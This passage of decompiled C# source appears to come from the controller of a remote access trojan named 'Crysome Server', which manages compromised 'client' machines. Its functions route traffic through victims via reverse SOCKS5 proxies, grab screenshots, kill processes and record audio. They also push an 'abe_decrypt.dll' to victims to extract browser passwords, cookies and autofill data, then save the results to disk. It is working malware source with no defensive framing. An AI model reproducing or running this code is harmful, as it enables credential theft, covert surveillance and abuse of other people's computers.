|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
item.Owner.SendPacket((IPacket)new FileTransferRequestPacket(fileName, data));
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
});
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void DoAnnounceToggle()
|
|||
|
|
{
|
|||
|
|
ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault();
|
|||
|
|
if (clientInfo != null)
|
|||
|
|
{
|
|||
|
|
string address = clientInfo.Address;
|
|||
|
|
if (store.AnnounceIPs.Contains(address))
|
|||
|
|
{
|
|||
|
|
store.AnnounceIPs.Remove(address);
|
|||
|
|
clientInfo.IsAnnounce = false;
|
|||
|
|
}
|
|||
|
|
else
|
|||
|
|
{
|
|||
|
|
store.AnnounceIPs.Add(address);
|
|||
|
|
clientInfo.IsAnnounce = true;
|
|||
|
|
}
|
|||
|
|
store.SaveAnnounce();
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void DoEditNote()
|
|||
|
|
{
|
|||
|
|
ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault();
|
|||
|
|
if (clientInfo != null)
|
|||
|
|
{
|
|||
|
|
string text = PromptInput("Note for " + clientInfo.Address, "Enter note:", clientInfo.Notes);
|
|||
|
|
if (text != null)
|
|||
|
|
{
|
|||
|
|
clientInfo.Notes = text;
|
|||
|
|
store.Notes[clientInfo.Address] = text;
|
|||
|
|
store.SaveNotes();
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void DoSocks5Proxy()
|
|||
|
|
{
|
|||
|
|
//IL_0179: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0183: Expected O, but got Unknown
|
|||
|
|
//IL_0292: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0297: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_02af: Expected O, but got Unknown
|
|||
|
|
List<ClientInfo> list = GetSelectedOrAll(all: false).ToList();
|
|||
|
|
if (!list.Any())
|
|||
|
|
{
|
|||
|
|
EnqueueStatus("No client selected");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
int num = 0;
|
|||
|
|
_proxyResultsForModal.Clear();
|
|||
|
|
foreach (ClientInfo c in list)
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
if (c.Owner == null)
|
|||
|
|
{
|
|||
|
|
continue;
|
|||
|
|
}
|
|||
|
|
if (_reverseProxyState.TryGetValue(c.Owner, out var value))
|
|||
|
|
{
|
|||
|
|
StopReverseProxy(c.Owner, value);
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
c.ProxyActive = false;
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
Log("Stopping reverse proxy on " + c.Address, "PROXY");
|
|||
|
|
continue;
|
|||
|
|
}
|
|||
|
|
TcpListener tcpListener = new TcpListener(IPAddress.Loopback, 0);
|
|||
|
|
tcpListener.Start();
|
|||
|
|
int port = ((IPEndPoint)tcpListener.LocalEndpoint).Port;
|
|||
|
|
ReverseProxyState state = new ReverseProxyState
|
|||
|
|
{
|
|||
|
|
Listener = tcpListener,
|
|||
|
|
Owner = c.Owner,
|
|||
|
|
Running = true
|
|||
|
|
};
|
|||
|
|
_reverseProxyState[c.Owner] = state;
|
|||
|
|
c.Owner.SendPacket((IPacket)new StartReverseProxyPacket(port));
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
c.ProxyActive = true;
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
Log("Reverse proxy on " + c.Address + " -> 127.0.0.1:" + port, "PROXY");
|
|||
|
|
_proxyResultsForModal.Add(("127.0.0.1", port.ToString()));
|
|||
|
|
num++;
|
|||
|
|
CrysomeClient owner = c.Owner;
|
|||
|
|
Task.Run(delegate
|
|||
|
|
{
|
|||
|
|
ReverseProxyAcceptLoop(state, owner);
|
|||
|
|
});
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
Log("Proxy error on " + c.Address + ": " + ex.Message, "PROXY");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
if (num > 0)
|
|||
|
|
{
|
|||
|
|
_proxyStartCount = num;
|
|||
|
|
DispatcherTimer proxyModalTimer = _proxyModalTimer;
|
|||
|
|
if (proxyModalTimer != null)
|
|||
|
|
{
|
|||
|
|
proxyModalTimer.Stop();
|
|||
|
|
}
|
|||
|
|
_proxyModalTimer = new DispatcherTimer
|
|||
|
|
{
|
|||
|
|
Interval = TimeSpan.FromMilliseconds(500L, 0L)
|
|||
|
|
};
|
|||
|
|
_proxyModalTimer.Tick += delegate
|
|||
|
|
{
|
|||
|
|
_proxyModalTimer.Stop();
|
|||
|
|
ShowProxyResultsModal();
|
|||
|
|
};
|
|||
|
|
_proxyModalTimer.Start();
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void StopReverseProxy(CrysomeClient owner, ReverseProxyState state)
|
|||
|
|
{
|
|||
|
|
//IL_005e: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0068: Expected O, but got Unknown
|
|||
|
|
//IL_0090: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_009a: Expected O, but got Unknown
|
|||
|
|
state.Running = false;
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
state.Listener?.Stop();
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
state.Listener = null;
|
|||
|
|
KeyValuePair<int, TcpClient>[] array = state.Connections.ToArray();
|
|||
|
|
for (int i = 0; i < array.Length; i++)
|
|||
|
|
{
|
|||
|
|
KeyValuePair<int, TcpClient> keyValuePair = array[i];
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
keyValuePair.Value?.Close();
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
owner.SendPacket((IPacket)new ReverseProxyEndPacket(keyValuePair.Key));
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
state.Connections.Clear();
|
|||
|
|
_reverseProxyState.Remove(owner);
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
owner.SendPacket((IPacket)new StopProxyRequestPacket());
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void ReverseProxyAcceptLoop(ReverseProxyState state, CrysomeClient owner)
|
|||
|
|
{
|
|||
|
|
//IL_00ba: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_00c4: Expected O, but got Unknown
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
while (state.Running && state.Listener != null)
|
|||
|
|
{
|
|||
|
|
TcpClient browser;
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
browser = state.Listener.AcceptTcpClient();
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
break;
|
|||
|
|
}
|
|||
|
|
if (!state.Running)
|
|||
|
|
{
|
|||
|
|
browser.Close();
|
|||
|
|
break;
|
|||
|
|
}
|
|||
|
|
int connId = Interlocked.Increment(ref state.NextConnectionId);
|
|||
|
|
state.Connections[connId] = browser;
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
owner.SendPacket((IPacket)new ReverseProxyStartPacket(connId));
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
browser.Close();
|
|||
|
|
state.Connections.TryRemove(connId, out var _);
|
|||
|
|
continue;
|
|||
|
|
}
|
|||
|
|
NetworkStream stream = browser.GetStream();
|
|||
|
|
byte[] buf = new byte[8192];
|
|||
|
|
Task.Run(delegate
|
|||
|
|
{
|
|||
|
|
//IL_009e: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_00a8: Expected O, but got Unknown
|
|||
|
|
//IL_0028: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0032: Expected O, but got Unknown
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
int num;
|
|||
|
|
while (state.Running && (num = stream.Read(buf, 0, buf.Length)) > 0)
|
|||
|
|
{
|
|||
|
|
byte[] array = new byte[num];
|
|||
|
|
Array.Copy(buf, array, num);
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
owner.SendPacket((IPacket)new ReverseProxyDataPacket(connId, array));
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
break;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
finally
|
|||
|
|
{
|
|||
|
|
state.Connections.TryRemove(connId, out var _);
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
owner.SendPacket((IPacket)new ReverseProxyEndPacket(connId));
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
browser.Close();
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
});
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void HandleReverseProxyData(CrysomeClient sender, IPacket packet)
|
|||
|
|
{
|
|||
|
|
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0007: Expected O, but got Unknown
|
|||
|
|
//IL_007a: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0084: Expected O, but got Unknown
|
|||
|
|
ReverseProxyDataPacket val = (ReverseProxyDataPacket)packet;
|
|||
|
|
if (!_reverseProxyState.TryGetValue(sender, out var value) || !value.Connections.TryGetValue(val.ConnectionId, out var value2))
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
NetworkStream stream = value2.GetStream();
|
|||
|
|
if (val.Data != null && val.Data.Length != 0)
|
|||
|
|
{
|
|||
|
|
stream.Write(val.Data, 0, val.Data.Length);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
value.Connections.TryRemove(val.ConnectionId, out var _);
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
sender.SendPacket((IPacket)new ReverseProxyEndPacket(val.ConnectionId));
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
value2.Close();
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void HandleReverseProxyEnd(CrysomeClient sender, IPacket packet)
|
|||
|
|
{
|
|||
|
|
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0007: Expected O, but got Unknown
|
|||
|
|
ReverseProxyEndPacket val = (ReverseProxyEndPacket)packet;
|
|||
|
|
if (!_reverseProxyState.TryGetValue(sender, out var value) || !value.Connections.TryRemove(val.ConnectionId, out var value2))
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
value2.Close();
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private static string ParsePortFromProxyMessage(string message)
|
|||
|
|
{
|
|||
|
|
if (string.IsNullOrEmpty(message))
|
|||
|
|
{
|
|||
|
|
return "?";
|
|||
|
|
}
|
|||
|
|
Match match = Regex.Match(message, "port\\s+(\\d+)", RegexOptions.IgnoreCase);
|
|||
|
|
if (!match.Success)
|
|||
|
|
{
|
|||
|
|
return "?";
|
|||
|
|
}
|
|||
|
|
return match.Groups[1].Value;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void ShowProxyResultsModal()
|
|||
|
|
{
|
|||
|
|
DispatcherTimer proxyModalTimer = _proxyModalTimer;
|
|||
|
|
if (proxyModalTimer != null)
|
|||
|
|
{
|
|||
|
|
proxyModalTimer.Stop();
|
|||
|
|
}
|
|||
|
|
_proxyModalTimer = null;
|
|||
|
|
_proxyStartCount = 0;
|
|||
|
|
if (_proxyResultsForModal.Count == 0)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
List<(string Address, string Port)> copy = new List<(string, string)>(_proxyResultsForModal);
|
|||
|
|
_proxyResultsForModal.Clear();
|
|||
|
|
string title = ((copy.Count == 1) ? "SOCKS5 Proxy ready" : "SOCKS5 Proxies ready");
|
|||
|
|
StringBuilder stringBuilder = new StringBuilder();
|
|||
|
|
stringBuilder.AppendLine("Use these addresses in your browser or proxy settings (SOCKS5).");
|
|||
|
|
stringBuilder.AppendLine("Use 127.0.0.1:port on this machine (where Crysome Server runs).");
|
|||
|
|
stringBuilder.AppendLine();
|
|||
|
|
foreach (var (text, text2) in copy)
|
|||
|
|
{
|
|||
|
|
stringBuilder.AppendLine(text + ":" + text2);
|
|||
|
|
}
|
|||
|
|
string body = stringBuilder.ToString().TrimEnd();
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
Window obj = new Window
|
|||
|
|
{
|
|||
|
|
Title = title,
|
|||
|
|
Width = 420.0,
|
|||
|
|
MinWidth = 360.0,
|
|||
|
|
Height = ((copy.Count == 1) ? 220 : Math.Min(400, 180 + copy.Count * 28)),
|
|||
|
|
WindowStartupLocation = WindowStartupLocation.CenterOwner,
|
|||
|
|
Owner = Application.Current.MainWindow,
|
|||
|
|
ResizeMode = ResizeMode.CanResize,
|
|||
|
|
Background = Brushes.Black
|
|||
|
|
};
|
|||
|
|
StackPanel stackPanel = new StackPanel
|
|||
|
|
{
|
|||
|
|
Margin = new Thickness(16.0)
|
|||
|
|
};
|
|||
|
|
stackPanel.Children.Add(new TextBlock
|
|||
|
|
{
|
|||
|
|
Text = body,
|
|||
|
|
TextWrapping = TextWrapping.Wrap,
|
|||
|
|
Foreground = Brushes.White,
|
|||
|
|
FontFamily = new FontFamily("Consolas"),
|
|||
|
|
FontSize = 13.0,
|
|||
|
|
Margin = new Thickness(0.0, 0.0, 0.0, 12.0)
|
|||
|
|
});
|
|||
|
|
Button button = new Button
|
|||
|
|
{
|
|||
|
|
Content = "Copy to clipboard",
|
|||
|
|
Width = 140.0,
|
|||
|
|
HorizontalAlignment = HorizontalAlignment.Left
|
|||
|
|
};
|
|||
|
|
button.Click += delegate
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
Clipboard.SetText(body);
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
};
|
|||
|
|
stackPanel.Children.Add(button);
|
|||
|
|
obj.Content = stackPanel;
|
|||
|
|
obj.Show();
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void HandleProxyStatus(object sender, IPacket packet)
|
|||
|
|
{
|
|||
|
|
//IL_0016: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0020: Expected O, but got Unknown
|
|||
|
|
ProxyStatusResponsePacket resp = (ProxyStatusResponsePacket)packet;
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => (object)c.Owner == (object)(CrysomeClient)sender);
|
|||
|
|
if (clientInfo != null)
|
|||
|
|
{
|
|||
|
|
clientInfo.ProxyActive = resp.Active;
|
|||
|
|
Log("Proxy on " + clientInfo.Address + ": " + resp.Message, "PROXY");
|
|||
|
|
if (resp.Active && _proxyStartCount > 0)
|
|||
|
|
{
|
|||
|
|
string item = ParsePortFromProxyMessage(resp.Message);
|
|||
|
|
_proxyResultsForModal.Add((clientInfo.Address, item));
|
|||
|
|
if (_proxyResultsForModal.Count >= _proxyStartCount)
|
|||
|
|
{
|
|||
|
|
DispatcherTimer proxyModalTimer = _proxyModalTimer;
|
|||
|
|
if (proxyModalTimer != null)
|
|||
|
|
{
|
|||
|
|
proxyModalTimer.Stop();
|
|||
|
|
}
|
|||
|
|
_proxyModalTimer = null;
|
|||
|
|
_proxyStartCount = 0;
|
|||
|
|
ShowProxyResultsModal();
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void DoRestart()
|
|||
|
|
{
|
|||
|
|
//IL_002c: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0036: Expected O, but got Unknown
|
|||
|
|
ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault();
|
|||
|
|
if (clientInfo?.Owner == null)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
clientInfo.Owner.SendPacket((IPacket)new RestartRequestPacket());
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void DoTakeScreenshot()
|
|||
|
|
{
|
|||
|
|
//IL_0084: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_008e: Expected O, but got Unknown
|
|||
|
|
List<ClientInfo> list = ((_selectedClients.Count > 0) ? _selectedClients : ((SelectedClient != null) ? new List<ClientInfo> { SelectedClient } : null));
|
|||
|
|
if (list == null || list.Count == 0)
|
|||
|
|
{
|
|||
|
|
EnqueueStatus("Select one or more clients");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
foreach (ClientInfo item in list.Where((ClientInfo x) => x?.Owner != null))
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
item.Owner.SendPacket((IPacket)new TakeScreenshotRequestPacket());
|
|||
|
|
Log("Screenshot requested: " + item.Address, "SYS");
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
Log("Screenshot request failed " + item.Address + ": " + ex.Message, "SYS");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
if (list.Count > 0)
|
|||
|
|
{
|
|||
|
|
EnqueueStatus("Screenshot requested from " + list.Count + " client(s)");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void HandleScreenshotResponse(CrysomeClient sender, IPacket packet)
|
|||
|
|
{
|
|||
|
|
//IL_000e: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0014: Expected O, but got Unknown
|
|||
|
|
TakeScreenshotResponsePacket val = (TakeScreenshotResponsePacket)packet;
|
|||
|
|
ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender);
|
|||
|
|
string title = ((clientInfo != null) ? ("Screenshot — " + clientInfo.Address) : ("Screenshot — " + (sender.RemoteAddress?.Address?.ToString() ?? "?")));
|
|||
|
|
byte[] data = ((val != null) ? val.ImageData : null);
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
ScreenshotViewerWindow screenshotViewerWindow = new ScreenshotViewerWindow(title, data);
|
|||
|
|
((Window)(object)screenshotViewerWindow).Owner = Application.Current.MainWindow;
|
|||
|
|
((Window)(object)screenshotViewerWindow).Show();
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private static byte[] LoadAbeDecryptDllBytes()
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
Assembly executingAssembly = Assembly.GetExecutingAssembly();
|
|||
|
|
string text = executingAssembly.GetManifestResourceNames().FirstOrDefault((string n) => n.EndsWith("abe_decrypt.dll", StringComparison.OrdinalIgnoreCase));
|
|||
|
|
if (text != null)
|
|||
|
|
{
|
|||
|
|
using Stream stream = executingAssembly.GetManifestResourceStream(text);
|
|||
|
|
if (stream != null && stream.Length > 0)
|
|||
|
|
{
|
|||
|
|
byte[] array = new byte[stream.Length];
|
|||
|
|
if (stream.Read(array, 0, array.Length) == array.Length)
|
|||
|
|
{
|
|||
|
|
return array;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
string baseDirectory = AppDomain.CurrentDomain.BaseDirectory;
|
|||
|
|
string[] array2 = new string[3]
|
|||
|
|
{
|
|||
|
|
Path.Combine(baseDirectory, "abe_decrypt.dll"),
|
|||
|
|
Path.Combine(baseDirectory, "Resources", "abe_decrypt.dll"),
|
|||
|
|
Path.Combine(baseDirectory, "..", "Resources", "abe_decrypt.dll")
|
|||
|
|
};
|
|||
|
|
foreach (string path in array2)
|
|||
|
|
{
|
|||
|
|
if (File.Exists(path))
|
|||
|
|
{
|
|||
|
|
return File.ReadAllBytes(path);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
return null;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void DoRequestCredentials(byte requestType)
|
|||
|
|
{
|
|||
|
|
//IL_00ce: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_00d5: Expected O, but got Unknown
|
|||
|
|
List<ClientInfo> list = ((_selectedClients.Count > 0) ? _selectedClients : ((SelectedClient != null) ? new List<ClientInfo> { SelectedClient } : null));
|
|||
|
|
if (list == null || list.Count == 0)
|
|||
|
|
{
|
|||
|
|
EnqueueStatus("Select one or more clients");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
byte[] array = LoadAbeDecryptDllBytes();
|
|||
|
|
if (array == null || array.Length == 0)
|
|||
|
|
{
|
|||
|
|
EnqueueStatus("abe_decrypt.dll not found. Place it in Crysome.Server output folder, Resources subfolder, or add to Resources and rebuild.");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
List<ClientInfo> list2 = list.Where((ClientInfo x) => x?.Owner != null).ToList();
|
|||
|
|
int count = list2.Count;
|
|||
|
|
foreach (ClientInfo c in list2)
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
FtSender val = new FtSender(c.Owner, "abe_decrypt.dll", array);
|
|||
|
|
byte rt = requestType;
|
|||
|
|
string addr = c.Address;
|
|||
|
|
val.OnDone = delegate(uint id, bool ok, string msg)
|
|||
|
|
{
|
|||
|
|
//IL_0040: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_004a: Expected O, but got Unknown
|
|||
|
|
_activeSenders.TryRemove(id, out var _);
|
|||
|
|
if (ok)
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
c.Owner.SendPacket((IPacket)new RequestCredentialsPacket(rt, (byte[])null));
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
Log("DLL delivered, credentials requested: " + addr, "SYS");
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
catch (Exception ex2)
|
|||
|
|
{
|
|||
|
|
Exception ex3 = ex2;
|
|||
|
|
Exception ex4 = ex3;
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
Log("Credential request failed " + addr + ": " + ex4.Message, "SYS");
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
Log("DLL transfer failed " + addr + ": " + msg, "SYS");
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
};
|
|||
|
|
_activeSenders[val.TransferId] = val;
|
|||
|
|
val.Start();
|
|||
|
|
Log("Sending DLL to " + addr + " (" + array.Length + " B, " + val.TotalChunks + " chunks)...", "SYS");
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
Log("Credentials request failed " + c.Address + ": " + ex.Message, "SYS");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
EnqueueStatus("Credentials requested from " + count + " client(s). DLL transferring...");
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void HandleCredentialsResponse(CrysomeClient sender, IPacket packet)
|
|||
|
|
{
|
|||
|
|
//IL_000e: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0014: Expected O, but got Unknown
|
|||
|
|
CredentialsResponsePacket val = (CredentialsResponsePacket)packet;
|
|||
|
|
ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender);
|
|||
|
|
string title = ((clientInfo != null) ? ("Credentials — " + clientInfo.Address) : ("Credentials — " + (sender.RemoteAddress?.Address?.ToString() ?? "?")));
|
|||
|
|
string err = ((val != null) ? val.ErrorMessage : null) ?? "";
|
|||
|
|
string pw = ((val != null) ? val.PasswordsJson : null) ?? "";
|
|||
|
|
string ck = ((val != null) ? val.CookiesJson : null) ?? "";
|
|||
|
|
string af = ((val != null) ? val.AutofillsJson : null) ?? "";
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
string text = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "credentials");
|
|||
|
|
Directory.CreateDirectory(text);
|
|||
|
|
string text2 = string.Concat((clientInfo?.Address ?? "unknown").Where((char c) => !Enumerable.Contains(Path.GetInvalidFileNameChars(), c)));
|
|||
|
|
string text3 = DateTime.Now.ToString("yyyyMMdd_HHmmss");
|
|||
|
|
if (!string.IsNullOrWhiteSpace(pw))
|
|||
|
|
{
|
|||
|
|
File.WriteAllText(Path.Combine(text, text2 + "_" + text3 + "_passwords.json"), pw);
|
|||
|
|
}
|
|||
|
|
if (!string.IsNullOrWhiteSpace(ck))
|
|||
|
|
{
|
|||
|
|
File.WriteAllText(Path.Combine(text, text2 + "_" + text3 + "_cookies.json"), ck);
|
|||
|
|
}
|
|||
|
|
if (!string.IsNullOrWhiteSpace(af))
|
|||
|
|
{
|
|||
|
|
File.WriteAllText(Path.Combine(text, text2 + "_" + text3 + "_autofills.json"), af);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
CredentialsViewerWindow credentialsViewerWindow = new CredentialsViewerWindow(title, pw, ck, af, string.IsNullOrEmpty(err) ? null : err);
|
|||
|
|
((Window)(object)credentialsViewerWindow).Owner = Application.Current.MainWindow;
|
|||
|
|
((Window)(object)credentialsViewerWindow).Show();
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void HandleProcessListResponse(CrysomeClient sender, IPacket packet)
|
|||
|
|
{
|
|||
|
|
//IL_002a: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0034: Expected O, but got Unknown
|
|||
|
|
if (_processListCallbacks.TryGetValue(sender, out var cb))
|
|||
|
|
{
|
|||
|
|
_processListCallbacks.Remove(sender);
|
|||
|
|
GetProcessListResponsePacket resp = (GetProcessListResponsePacket)packet;
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
cb(resp);
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void RequestProcessList(ClientInfo client, Action<GetProcessListResponsePacket> callback)
|
|||
|
|
{
|
|||
|
|
//IL_002a: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0034: Expected O, but got Unknown
|
|||
|
|
if (client?.Owner == null || callback == null)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
_processListCallbacks[client.Owner] = callback;
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
client.Owner.SendPacket((IPacket)new GetProcessListRequestPacket());
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
_processListCallbacks.Remove(client.Owner);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void KillProcessOnClient(ClientInfo client, int pid)
|
|||
|
|
{
|
|||
|
|
//IL_0017: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0021: Expected O, but got Unknown
|
|||
|
|
if (client?.Owner == null)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
client.Owner.SendPacket((IPacket)new KillProcessRequestPacket(pid));
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void RequestAudio(ClientInfo client, int seconds, Action<byte[]> onReceived)
|
|||
|
|
{
|
|||
|
|
